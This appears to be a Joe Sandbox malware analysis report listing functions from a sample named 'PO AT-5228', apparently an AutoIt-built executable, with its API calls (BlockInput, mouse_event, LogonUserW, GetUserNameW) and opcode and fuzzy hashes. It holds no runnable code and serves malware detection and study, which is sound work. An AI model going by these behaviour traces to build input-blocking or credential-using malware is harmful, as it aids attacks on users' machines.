UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00B881BA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 95adf92edb19c2a8b379b3c0d4d08007d11ecf28dad3dc544917c4d79c6d37be
Instruction ID: 208007718896f0c6e15a22a7691d5d1c82d2783f56084b235d6dfa45ffefebba
Opcode Fuzzy Hash: 95adf92edb19c2a8b379b3c0d4d08007d11ecf28dad3dc544917c4d79c6d37be
Instruction Fuzzy Hash: 1FB09232144648ABDB002BA1EC49B597F68EB08652F004010F60D4A0A18FB354108A9A

Function 00B677B0 Relevance: 2.6, APIs: 1, Instructions: 1076COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00B67921

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: d99c5cfdd03591a8029450e62a433dc952f61944dd66c884dc7c0b8efc7775ea
Instruction ID: ac43ffdc99d72e9f15f08067a4177806c965d37cd014e21e4dce649980b5efd0
Opcode Fuzzy Hash: d99c5cfdd03591a8029450e62a433dc952f61944dd66c884dc7c0b8efc7775ea
Instruction Fuzzy Hash: D7A23971A04259CFDB24CF59C4806ADBBF1FF48314F2581AAE859AB391DB349E81DF90

Function 00B8D1B9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 231d44a031892fb3364d8ddfa6272c1d5d32db532411165b9b4af6db6516803f
Instruction ID: 83c499c2e4b56d168345e0fc395484b66e31d293eabd415474c9a9cdf41e8b47
Opcode Fuzzy Hash: 231d44a031892fb3364d8ddfa6272c1d5d32db532411165b9b4af6db6516803f
Instruction Fuzzy Hash: 7F320621D29F414DD7236634C862335A399EFB73D4F15D767E819B69A6EF29C8838200

Function 00B696C0 Relevance: 2.1, APIs: 1, Instructions: 573COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __itow__swprintf
String ID:
API String ID: 674341424-0
Opcode ID: 31e134210624526f87f58a822ea35d2644e49c2a791467e1ff2b4e3735ad62a7
Instruction ID: 14edc63126d442152b5a8e8eb54e225290a66d1f4195761d65a8bd4ad9b13e00
Opcode Fuzzy Hash: 31e134210624526f87f58a822ea35d2644e49c2a791467e1ff2b4e3735ad62a7
Instruction Fuzzy Hash: 6F229C716083019FD724DF14C891B6FBBE8EF84710F1449AEF89A97291EB75E944CB82

Function 00B9038E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fabd2fd8d1d9b8c520cd669a8d99f6973b46eef8726b25f4e3256487fdc33906
Instruction ID: 6e4a161a123a45838dc849a32fb444bfa80051a33c41d5dbb2fd764b1873cd97
Opcode Fuzzy Hash: fabd2fd8d1d9b8c520cd669a8d99f6973b46eef8726b25f4e3256487fdc33906
Instruction Fuzzy Hash: 61B1D320D2AF414DD62396398871336BA9CAFBB2D5F92D717FD1676D22EF2185838180

Function 00BAB6CC Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 00BAB6DF

Part of subcall function 00B8344A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00BABDC3,00000000,?,?,?,?,00BABF70,00000000,?), ref: 00B83453
Part of subcall function 00B8344A: __aulldiv.LIBCMT ref: 00B83473

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2893107130-0
Opcode ID: d3f03c28bfc676d1a7c90a656e345e6c536520b06ae26477a612ebf914f29d64
Instruction ID: 19ee1d31b6d7e7fdfae09a5578d4589e009e697775e96dada3d6720161d68265
Opcode Fuzzy Hash: d3f03c28bfc676d1a7c90a656e345e6c536520b06ae26477a612ebf914f29d64
Instruction Fuzzy Hash: CF2172726345108BC729CF28C491B96B7E1EB95310B248E7DE4E5CB2D1CB78BA06DB54

Function 00BB6AAF Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00BB6ACA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 4eb64ae49f78f1914c133464183a57a86343254cc484046824a9df97e30cc9c2
Instruction ID: 34f424afcfe1fea166fc0dd0c080a1a77bf6c99af5fbd2dbcd4f533a429507a9
Opcode Fuzzy Hash: 4eb64ae49f78f1914c133464183a57a86343254cc484046824a9df97e30cc9c2
Instruction Fuzzy Hash: 49E012353102046FD700EB69D844996B7ECEF74751F04C456E945D7261DAF4E8048B90

Function 00BA74BB Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00BA74DE

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 5d453fef3494f49c51e92478e4beaa2cb12060318fed219a14b35d7d4a398e98
Instruction ID: 81b13459b0360fa2ca66b72db87d988cc6fb8ac70c29c06e677fdc46dc2d1bfe
Opcode Fuzzy Hash: 5d453fef3494f49c51e92478e4beaa2cb12060318fed219a14b35d7d4a398e98
Instruction Fuzzy Hash: C7D09EA56EC70579FD2907249C5FF7619C8F30A7C1F9491C9B582CA6C3BCD458469132

Function 00B9B106 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00B9AD3E), ref: 00B9B124

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 94beaf83e03836ff75f2e877be9fc514bec272abc2f524ef677863c59d85c72c
Instruction ID: 98478a67ff078f2d5da852e8661f988c64d0df246348304aa2533695cd3046a7
Opcode Fuzzy Hash: 94beaf83e03836ff75f2e877be9fc514bec272abc2f524ef677863c59d85c72c
Instruction Fuzzy Hash: 62D09E321A464EAEDF025FA4DC06EAE3F6AEB04701F448511FA25DA4A1C675D531AB50

Function 00BDB340 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00BDB352

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 4af125bace4d8327b566c72320003e421f87ddaa86557ec3979a7ce5657e956e
Instruction ID: 3c936e965291d19cf5f7bd2e0a0d88d638e5a13734318eab836cd539a842f4ba
Opcode Fuzzy Hash: 4af125bace4d8327b566c72320003e421f87ddaa86557ec3979a7ce5657e956e
Instruction Fuzzy Hash: 95C04CB1400159DFC751CBC0CD849EEB7BCAB04301F1440929105F2110DB709B459B72

Function 00B88189 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00B8818F

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 842cdc8b21f1ea1277a42e3a38b91e3f7c520cd5bbff25d82d2b7a497e9ac567
Instruction ID: cab4225cde725f14d1c9e79cd9e2d163a748c9998fd21db4d24f2910770f59da
Opcode Fuzzy Hash: 842cdc8b21f1ea1277a42e3a38b91e3f7c520cd5bbff25d82d2b7a497e9ac567
Instruction Fuzzy Hash: 17A0223200020CFBCF002F82FC088883F2CFB002A0B000020F80C0A030CFB3A8208ACA

Function 00B6E3B0 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 469789659c6734425f8084be37ce56aed331c49b9a77353e004290f1dc352ffb
Instruction ID: 85ff1f3a6102204090a52e4e34e61bcf91c302189ed9fc9bf88209cb57dffc09
Opcode Fuzzy Hash: 469789659c6734425f8084be37ce56aed331c49b9a77353e004290f1dc352ffb
Instruction Fuzzy Hash: 88229E789042068FDB24DF58C490ABEB7F1FF14304F1481AAE96A9B351E739ED45CB91

Function 00B693F0 Relevance: .5, Instructions: 531COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fd3d0c89f51fb2222995899da7ccb705b36d9d7de2f8c857b58da29d6f029b7
Instruction ID: 40ba239f6cb8f58776bee63a428b93b5439d343e38e7606e16e5006878c776e2
Opcode Fuzzy Hash: 0fd3d0c89f51fb2222995899da7ccb705b36d9d7de2f8c857b58da29d6f029b7
Instruction Fuzzy Hash: F0126A70A002099FDF14DFA5D981AAEF7F9FF58300F1085A9E816E7254EB3AAD11CB54

Function 00B6AF50 Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID:
API String ID: 3728558374-0
Opcode ID: 6bc0ebd81621fb4d52c1b68e3ef522dcff5f3a97c1f3c42423631863e08358eb
Instruction ID: 2f017be0d4d0fda315eb8b2f4a44602674761139a513ee6bd8ac6f5aba0642a8
Opcode Fuzzy Hash: 6bc0ebd81621fb4d52c1b68e3ef522dcff5f3a97c1f3c42423631863e08358eb
Instruction Fuzzy Hash: 21029070A00205DBCF04DF64D991AAEBBF5EF49300F14C4AAE80AEB355EB35DA55CB91

Function 00B802A4 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction ID: a8a79c998e4ec539f704edfbb13b26db5195fbdf1963d82ed6c59dc166337b46
Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction Fuzzy Hash: 43C1B0322151930ADB6D5639C47443EBAE19BA27F131A07FDD8B7CB5E5EE20C528D720

Function 00B806D9 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction ID: d84918b37a205c0b65d179cf3d587474db9251a3e2c958bab6ca462ae1a363bd
Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction Fuzzy Hash: ADC1A03621519309DBAD5639C47443EBAE19BA2BB131A07BDD4B7CB4E5EE20C928D720

Function 00B7FA57 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 486069a6eea3f0b012d53a42780287c114a009cb7aa267ee3ac3410e33b34f27
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 2DC16E3220909309DF2D4679C47443EBAE1DBA2BB131A87FDD8BBCB5D5EE20C564D624

Function 01960CA0 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1694924142.000000000195D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0195D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_195d000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction ID: 44da354b641c4dd15407e98e7aaaf9754963b57472909ce4c087bf22fe35cc7d
Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction Fuzzy Hash: BA41D271D1051CEBCF48CFADC991AEEBBF2AF88201F548299D516AB345D730AB41DB90

Function 01960B90 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1694924142.000000000195D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0195D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_195d000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction ID: 741777ec52ec0957861fc57de2fdd8e724d7f8ca9ca913d4cffb29b80c2083c9
Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction Fuzzy Hash: 64019278A00209EFCB44DFA8C5909AEF7B9FB48310F248699E809A7341D730AE41DB90

Function 01960B30 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1694924142.000000000195D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0195D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_195d000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction ID: 58ba826e4274420fdfbf357484c4d6783312d96c67e5ae03d08f66ea6f95f442
Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction Fuzzy Hash: F2019278A00109EFCB44DFA8C5909AEF7B9FB48310F248599E809A7301D730AE41DB90

Function 0195F530 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1694924142.000000000195D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0195D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_195d000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48

Function 00BBA2A9 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 490filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00BBA2FE
DeleteObject.GDI32(00000000), ref: 00BBA310
DestroyWindow.USER32 ref: 00BBA31E
GetDesktopWindow.USER32 ref: 00BBA338
GetWindowRect.USER32(00000000), ref: 00BBA33F
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00BBA480
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00BBA490
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BBA4D8
GetClientRect.USER32(00000000,?), ref: 00BBA4E4
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00BBA51E
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BBA540
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BBA553
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BBA55E
GlobalLock.KERNEL32(00000000), ref: 00BBA567
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BBA576
GlobalUnlock.KERNEL32(00000000), ref: 00BBA57F
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BBA586
GlobalFree.KERNEL32(00000000), ref: 00BBA591
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BBA5A3
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00BED9BC,00000000), ref: 00BBA5B9
GlobalFree.KERNEL32(00000000), ref: 00BBA5C9
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00BBA5EF
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00BBA60E
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BBA630
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BBA81D

Strings

AutoIt v3, xrefs: 00BBA4D0
, xrefs: 00BBA7A3
DISPLAY, xrefs: 00BBA680
static, xrefs: 00BBA518, 00BBA66F

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
